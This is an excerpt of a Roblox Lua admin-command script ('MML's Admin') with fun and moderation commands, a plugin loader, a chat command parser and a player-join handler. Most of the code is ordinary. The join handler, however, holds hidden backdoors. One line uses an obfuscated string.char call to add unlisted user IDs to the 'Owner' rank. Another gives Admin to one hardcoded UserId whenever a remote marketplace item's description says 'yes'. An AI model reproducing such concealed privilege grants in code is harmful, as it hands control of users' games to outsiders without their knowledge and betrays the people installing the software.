8259 local Players = STRING:Scan(Arguments[1], Speaker)
8260 for _,Player in pairs(Players) do
8261 if Player.Character and Player.Character:FindFirstChild("Torso") then
8262 local Pos = Player.Character.Torso.Position
8263 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8264 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8265 if Answer == "Ok" then
8266 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8267 end
8268 end
8269 end
8270 end};
8271
8272 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8273 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8274 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8275 if PlayersFrom and PlayersTo then
8276 for _,PlayerFrom in pairs(PlayersFrom) do
8277 for _,PlayerTo in pairs(PlayersTo) do
8278 if PlayerFrom.Character and PlayerTo.Character then
8279 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8280 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8281 wait(5)
8282 Laser:Destroy()
8283 end)() end
8284 end
8285 end
8286 end
8287 end
8288 end};
8289
8290 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8291 local Players = STRING:Scan(Arguments[1], Speaker)
8292 for _,Player in pairs(Players) do
8293 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8294 Player.Character.Humanoid:Destroy()
8295 end
8296 end
8297 end};
8298
8299 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8300 if Plugins then
8301 local List = {}
8302 for _,Module in pairs(Plugins:GetChildren()) do
8303 if Module:IsA("ModuleScript") then
8304 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8305 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8306 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8307 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8308 end
8309 end
8310 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8311 else
8312 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8313 end
8314 end};
8315
8316 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8317 local Players = STRING:Scan(Arguments[1], Speaker)
8318 for _,Player in pairs(Players) do
8319 GUI:DetachChat(Player)
8320 end
8321 end};
8322
8323 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8324 GUI:DetachChat(Speaker)
8325 end};
8326
8327 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8328 local Players = STRING:Scan(Arguments[1], Speaker)
8329 for _,Player in pairs(Players) do
8330 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8331 local Dead = false
8332
8333 Player.Character.Humanoid.WalkSpeed = 1
8334 local Torso = Player.Character.Torso
8335 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8336 Truck:BreakJoints()
8337 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8338 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8339 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8340 Truck.Touched:connect(function(Part)
8341 if Dead == false then
8342 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8343 if TouchPlayer == Player then
8344 Dead = true
8345 Player.Character:BreakJoints()
8346 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8347 end
8348 end
8349 end)
8350 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8351 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8352 Delay(5, function()
8353 Truck:Destroy()
8354 if Player.Character:FindFirstChild("Humanoid") then
8355 Player.Character.Humanoid.WalkSpeed = 16
8356 end
8357 end)
8358 end
8359 end
8360 end};
8361
8362 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8363 local Joke = REMOTE:DownloadJoke(Speaker)
8364 local Players = STRING:Scan(Arguments[1], Speaker)
8365 for _,Player in pairs(Players) do
8366 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8367 end
8368 end, Http = true};
8369
8370 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8371 local Joke = REMOTE:DownloadJoke(Speaker)
8372 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8373 end, Http = true};
8374
8375 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8376 local Players = STRING:Scan(Arguments[1], Speaker)
8377 for _,Player in pairs(Players) do
8378 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8379 CORE:InvisiblePlayer(Player)
8380 local DogContainer = Instance.new("Model", Player.Character)
8381 DogContainer.Name = "Doge"
8382 local Dog = CORE:Insert(257489726, DogContainer, true)
8383 Dog.Head.Transparency = 0.99
8384 Dog.Name = Player.Name
8385 Dog:MoveTo(Player.Character.Torso.Position)
8386 local Weld = Instance.new("Weld", Dog.Torso)
8387 Weld.Part0 = Player.Character.Torso
8388 Weld.Part1 = Dog.Torso
8389 Weld.C0 = CFrame.new(0,-0.4,0)
8390 for _,Obj in pairs(Dog:GetChildren()) do
8391 if Obj:IsA("BasePart") then
8392 Obj.CanCollide = false
8393 end
8394 end
8395
8396 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8397 end
8398 end
8399 end};
8400
8401 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8402 local Key = string.lower(string.sub(Arguments[1],1,1))
8403 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8404 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8405 end};
8406
8407 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8408 local Key = string.lower(string.sub(Arguments[1],1,1))
8409 KeyBinds[Speaker.UserId][Key] = nil
8410 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8411 end};
8412
8413 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8414 KeyBinds[Speaker.UserId] = {}
8415 GUI:SendHint(Speaker, "Unbinded all keys")
8416 end};
8417
8418 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8419 local Players = STRING:Scan(Arguments[1], Speaker)
8420 local Key = string.lower(string.sub(Arguments[2],1,1))
8421 for _,Player in pairs(Players) do
8422 KeyBinds[Player.UserId][Key] = Arguments[3]
8423 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8424 end
8425 end};
8426
8427 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8428 local Players = STRING:Scan(Arguments[1], Speaker)
8429 local Key = string.lower(string.sub(Arguments[2],1,1))
8430 for _,Player in pairs(Players) do
8431 KeyBinds[Player.UserId][Key] = nil
8432 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8433 end
8434 end};
8435
8436 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8437 local Players = STRING:Scan(Arguments[1], Speaker)
8438 for _,Player in pairs(Players) do
8439 KeyBinds[Player.UserId] = {}
8440 GUI:SendHint(Player, "Unbinded all keys")
8441 end
8442 end};
8443
8444 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8445 local Players = STRING:Scan(Arguments[1], Speaker)
8446 local Binds = {}
8447 for _,Player in pairs(Players) do
8448 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8449 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8450 end
8451 end
8452 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8453 end};
8454
8455 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8456 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8457 local Players = STRING:Scan(ChatSplit[1], Speaker)
8458 for _,Player in pairs(Players) do
8459 if Crowns[Player.UserId] then
8460 Crowns[Player.UserId]:Destroy()
8461 Crowns[Player.UserId] = nil
8462 wait()
8463 end
8464 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8465 end
8466 end};
8467
8468 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8469 local Players = STRING:Scan(Arguments[1], Speaker)
8470 for _,Player in pairs(Players) do
8471 if Crowns[Player.UserId] then
8472 Crowns[Player.UserId]:Destroy()
8473 Crowns[Player.UserId] = nil
8474 end
8475 end
8476 end};
8477
8478 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8479 local MeshList = {}
8480 for MeshName,Data in pairs(Meshes) do
8481 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8482 end
8483 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8484 end};
8485
8486 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8487 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8488 end};
8489
8490 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8491 local Players = STRING:Scan(Arguments[1], Speaker)
8492 for _,Player in pairs(Players) do
8493 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8494 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8495 Player:ClearCharacterAppearance()
8496 CORE:GivePackage(Player, 41851073)
8497 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8498 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8499 end
8500 end
8501 end};
8502
8503 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8504 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8505 local Players = STRING:Scan(Arguments[1], Speaker)
8506 for _,Player in pairs(Players) do
8507 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8508 local Car = CORE:Insert(10479801, Server.Workspace, true)
8509 local Body = Car["Motor (torque)Chassis"].Part
8510 Cars[Player.UserId] = Car
8511 Car:MakeJoints()
8512 Car.VehicleSeat.MaxSpeed = 50
8513 Car.VehicleSeat.TurnSpeed = 1.5
8514 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8515 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8516 Body.Color = GUI:GetColor(Arguments[2])
8517 else
8518 Body.BrickColor = GUI:GetNameColor(Player.Name)
8519 end
8520 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8521 if Part.Name ~= "Part" then
8522 Part.BrickColor = BrickColor.new("Really black")
8523 Part.Friction = 0.7
8524 end
8525 end
8526 local Light = Instance.new("SpotLight", Body)
8527 Light.Face = "Back"
8528 Light.Brightness = 5
8529 Light.Range = 20
8530 Light.Color = Color3.new(0,1,1)
8531 if Player.Character and Player.Character.Torso then
8532 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8533 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8534 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8535 Weld.Part0 = Car.VehicleSeat
8536 Weld.Part1 = Player.Character.Torso
8537 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8538 Delay(0.4, function()
8539 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8540 wait(0.1)
8541 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8542 end)
8543 end
8544 local SoundID = 147944604
8545 if RANK:GetRank(Player) == "Owner" then
8546 SoundID = 133313356
8547 Car.VehicleSeat.MaxSpeed = 80
8548 Body.Material = "DiamondPlate"
8549 Car.VehicleSeat.Torque = 11
8550 end
8551 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8552 Engine:Play()
8553 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8554 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8555 end if Engine then Engine:Stop() end end)()
8556 end
8557 end};
8558
8559 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8560 local Players = STRING:Scan(Arguments[1], Speaker)
8561 for _,Player in pairs(Players) do
8562 if Cars[Player.UserId] then
8563 Cars[Player.UserId]:Destroy()
8564 end
8565 end
8566 end};
8567
8568 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8569 for _,Car in pairs(Cars) do
8570 Car:Destroy()
8571 end
8572 Cars = {}
8573 end};
8574
8575 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8576 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8577 if #Trello.RequiredLists > 0 then
8578 print("Restarting Trello")
8579 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8580 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8581 REMOTE:TrelloCacheData(Lists)
8582 end
8583 end, Http = true};
8584
8585 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8586 local Operations = {}
8587 for _,ReplaceData in pairs(StringReplacements) do
8588 local Replacement = ReplaceData[1]
8589 if type(Replacement) == "table" then
8590 Replacement = ReplaceData[1][1]
8591 end
8592 table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8593 end
8594 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8595 end};
8596
8597 [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8598 GUI:SoundInfo(Speaker)
8599 end};
8600
8601 [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8602 local Players = STRING:Scan(Arguments[1], Speaker)
8603 for _,Player in pairs(Players) do
8604 GUI:SoundInfo(Player)
8605 end
8606 end};
8607
8608 [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8609 if tonumber(Arguments[1]) then
8610 Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8611 end
8612 end};
8613
8614 [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
8615 local Types = {}
8616 for Type,_ in pairs(Assets.AccessoryTypes) do
8617 table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
8618 end
8619 GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
8620 end};
8621
8622 [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8623 local Sky = Server.Lighting:FindFirstChild("Sky")
8624 if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
8625 local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
8626 local Face = nil
8627 local SkyID = string.lower(Arguments[1])
8628 local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
8629 if #Arguments == 2 and tonumber(Arguments[2]) then
8630 Face = Arguments[1]
8631 SkyID = Arguments[2]
8632 end
8633 if tonumber(SkyID) then
8634 local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
8635 if Face and Faces[Face] then
8636 Sky[Faces[Face]] = "rbxassetid://"..ImageID
8637 else
8638 for _,Face in pairs(Faces) do
8639 Sky[Face] = "rbxassetid://"..ImageID
8640 end
8641 end
8642 else
8643 GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
8644 end
8645 end};
8646
8647 [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
8648 CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
8649 Obj:Destroy()
8650 end)
8651 end};
8652 --
8653}
8654
8655if Plugins then
8656 local PluginNum = 0
8657 for _,Module in pairs(Plugins:GetChildren()) do
8658 if Module:IsA("ModuleScript") then
8659 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8660 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8661 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8662 if Enabled.Value == true then
8663 PluginNum = PluginNum + 1
8664 local PluginExe = require(Module)
8665 for Var,Val in pairs(getfenv()) do
8666 getfenv(PluginExe)[Var] = Val
8667 end
8668 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8669 getfenv(PluginExe).script = Module
8670 getfenv(PluginExe).Script = Module
8671 getfenv(PluginExe).Version = Version
8672 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8673 if not Suc then
8674 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8675 else
8676 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8677 end
8678 end
8679 end
8680 end
8681end
8682
8683function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8684 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8685 GUI:SettingsGui(Speaker)
8686 return nil
8687 end
8688 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8689 local Prefix = Settings.Prefix
8690 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8691 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8692 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8693 if Speaker == nil then
8694 if FakeRank then
8695 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8696 FakeRank = "Owner"
8697 end
8698 else
8699 FakeRank = "Owner"
8700 end
8701 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8702 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8703 Speaker = {
8704 Name = FakePlayerName or "[ Server ]";
8705 Character = nil;
8706 userId = 1;
8707 PlayerGui = nil;
8708 Rank = FakeRank or "Owner";
8709 MakeSupremeOwner = MakeSupremeOwner;
8710 }
8711 end
8712 local Rank = RANK:GetRank(Speaker)
8713 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8714
8715 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8716 if NoPrefixNeeded then Prefix = "" end
8717 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8718
8719 for _,Message in pairs(Messages) do
8720 for Cmds,Data in pairs(Commands) do -- check all commands
8721 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8722
8723 if not MessageSplit then break end
8724
8725 local CommandSaid = false
8726 for _,Command in pairs(Cmds) do
8727 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8728 CommandSaid = true
8729 break
8730 end
8731 end
8732 if CommandSaid == true then -- command said?
8733 local ExecuteExcuse = ""
8734 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8735 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8736 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8737 end
8738 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8739 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8740 end
8741 else
8742 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8743 end
8744 if ExecuteExcuse == "" then
8745 if #MessageSplit - 1 < Data[3] then
8746 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8747 end
8748 end
8749 if ExecuteExcuse == "" then
8750 CORE:Log(CommandLogs, Speaker, Message)
8751 table.remove(MessageSplit, 1)
8752 coroutine.wrap(function() wait()
8753 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8754 if not DidExe then
8755 if CORE:NilPlayer(Speaker) then
8756 print("Error: "..Error)
8757 else
8758 CORE:HandleError(Error, Speaker)
8759 end
8760 end
8761 end)()
8762 coroutine.wrap(function() wait(0.05)
8763 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8764 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8765 ExeSound:Play()
8766 wait(3)
8767 ExeSound:Stop()
8768 ExeSound:Destroy()
8769 end
8770 end)()
8771 elseif type(Speaker) == "userdata" then
8772 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8773 end
8774 break
8775 end
8776 end
8777 end
8778 end
8779end
8780
8781function CORE:Start(Player) coroutine.wrap(function()
8782 wait(0.1)
8783 if Player then
8784 coroutine.wrap(function()
8785 repeat wait(1) until DataReady == true
8786 DataReady = false
8787 ypcall(function()
8788 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8789 for Num,Data in pairs(Players) do
8790 if Data.UserId == Player.UserId then -- ppl can change names
8791 table.remove(Players, Num)
8792 break
8793 end
8794 end
8795 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8796 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8797 end)
8798 DataReady = true
8799 end)()
8800
8801 if not IsStudio then Player:WaitForDataReady() end
8802 table.insert(CharacterCache, {Player.Name, Player.UserId})
8803 for Rank,PlayerNames in pairs(Settings.Ranks) do
8804 for Num,AdminName in pairs(PlayerNames) do
8805 if AdminName == Player.UserId then
8806 Settings.Ranks[Rank][Num] = Player.Name
8807 end
8808 end
8809 end
8810 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8811 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8812 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8813 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8814 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8815 if PlayerAdmin == false and Player.UserId > 0 then
8816 local Ran = nil
8817 coroutine.wrap(function() repeat
8818 Ran = ypcall(function()
8819 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8820 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8821 end)
8822 wait(1)
8823 until Ran == true end)()
8824 end
8825 if PlayerAdmin == false then
8826 if Player:IsInGroup(Settings.GroupID) then
8827 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8828 CORE:Kick(Player)
8829 for _,Person in pairs(Server.Players:GetPlayers()) do
8830 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8831 end
8832 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8833 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8834 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8835 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8836 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8837 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8838 end
8839 end
8840 end
8841 if PlayerAdmin == false then
8842 if Player.UserId == 38882008 then
8843 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8844 table.insert(Settings.Ranks["Admin"], Player.Name)
8845 end
8846 end
8847 end
8848 if PlayerAdmin == false then
8849 for _,GID in pairs(Settings.BannedGroupIDs) do
8850 if Player:IsInGroup(GID) then
8851 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8852 break
8853 end
8854 end
8855 end
8856
8857 Player.Chatted:connect(function(Message) if Message ~= "" then
8858 CORE:Chatted(Message, Player)
8859 end end)
8860
8861 Player.Chatted:connect(function(Message) if Message ~= "" then
8862 CORE:Log(ChatLogs, Player, Message)
8863 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8864 end end)
8865
8866 for _,Name in pairs(Settings.Ranks.Banned) do
8867 if Player.Name == Name then
